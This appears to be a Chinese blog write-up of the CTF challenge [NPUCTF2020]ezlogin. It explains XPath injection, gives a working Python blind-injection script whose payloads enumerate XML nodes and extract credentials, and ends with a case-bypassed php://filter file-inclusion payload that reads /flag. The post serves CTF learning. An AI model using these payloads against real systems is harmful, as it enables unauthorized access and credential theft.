本文最后更新于 689 天前,其中的信息可能已经有所发展或是发生改变。
前言
这两天在刷buuctf刷题的时候碰到这个问题,他在登录的时候提交的数据格式十分奇怪。
<username>admin</username><password>admin</password><token>b1b835b3f3a42ab6ba72TYzNjcyOTg4N</token>
这玩意就是xpath
正文
什么是xpath
XPath 即为 XML 路径语言,是 W3C XSLT 标准的主要元素,它是一种用来确定 XML(标准通用标记语言的子集)文档中某部分位置的语言。
XPath 基于 XML 的树状结构,有不同类型的节点,包括元素节点,属性节点和文本节点,提供在数据结构树中找寻节点的能力,可用来在 XML 文档中对元素和属性进行遍历。
XPath 使用路径表达式来选取 XML 文档中的节点或者节点集。这些路径表达式和我们在常规的电脑文件系统中看到的表达式非常相似。
XPath是一种用来在内存中导航整个XML树的语言,它的设计初衷是作为一种面向XSLT和XPointer的语言,后来独立成了一种W3C标准.
XPATH注入原理
XPath 注入利用 XPath 解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的 XPath 查询代码,以获得高权限信息的访问权。
XPath注入类似于SQL注入,当网站使用未经正确处理的用户输入查询 XML 数据时,可能发生 XPATH 注入,由于Xpath中数据不像SQL中有权限的概念,用户可通过提交恶意XPATH代码获取到完整xml文档数据
Xpath和Xquery语法
- “nodename” – 选取nodename的所有子节点
- “/nodename” – 从根节点中选择
- “//nodename” – 从当前节点选择
- “..” – 选择当前节点的父节点
- “child::node()” – 选择当前节点的所有子节点
- "@" -选择属性
- "//user[position()=2] " 选择节点位置
Xpath常规注入
这一部分可以参考大佬的文章
XPATH注入学习:https://xz.aliyun.com/t/7791
例题实战
[NPUCTF2020]ezlogin
[NPUCTF2020]ezlogin:https://buuoj.cn/challenges#[NPUCTF2020]ezlogin
buuctf的一道题,打开是一个登录界面,抓包内容如下:
明显的xpath风格,测试部分直接上脚本了。
import time
import requests
import string
import re
session = requests.session()
url = "http://9ccea20a-536b-4fe7-9cce-c76341fac56a.node4.buuoj.cn:81/"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
"Content-Type": "application/xml"
}
find = re.compile('<input type="hidden" id="token" value="(.*?)" />')
# 生成爆破用的字符串
chars = string.ascii_letters+string.digits
# 猜测根节点名称
payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
# 猜测子节点名称
payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
# 猜测accounts的节点
payload_3 = "<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
# 猜测user节点
payload_4 = "<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
# 跑用户名和密码
payload_username = "<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
payload_password = "<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
# 获取token
def getToken():
result = session.get(url)
return find.findall(result.text)[0]
# 盲注
def blindNote():
flag = ""
for i in range(1, 100):
for s in chars:
# 延时0.5秒,不然buu会429
time.sleep(0.3)
token = getToken()
payload = payload_2.format(i, s, token)
result = session.post(url=url, headers=headers, data=payload)
if "非法操作!" in result.text:
flag += s
print(flag)
break
def main():
blindNote()
if __name__ == '__main__':
main()
猜测子节点名称
爆破accounts的子节点
这一句payload中的*[num]是猜测user下的不同子节点,这题修改为1爆破出的是id,2是username,3是password
payload_4 = "<username>'or substring(name(/root/accounts/user/*[3]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
接下来继续爆破出用户名和密码
密码md5解密出的结果是gtfly123
登录验证
登录页面源码有个提示
flag is in /flag
文件包含一下拿到flag,这里有个过滤的,大小写绕过
?file=Php://filter/convert.BAse64-encode/resource=/flag
总结
这玩意就是个xml文件,一步一步的爆出节点即可,真实渗透环境下出现这种漏洞的情况概率应该极小,略微了解即可。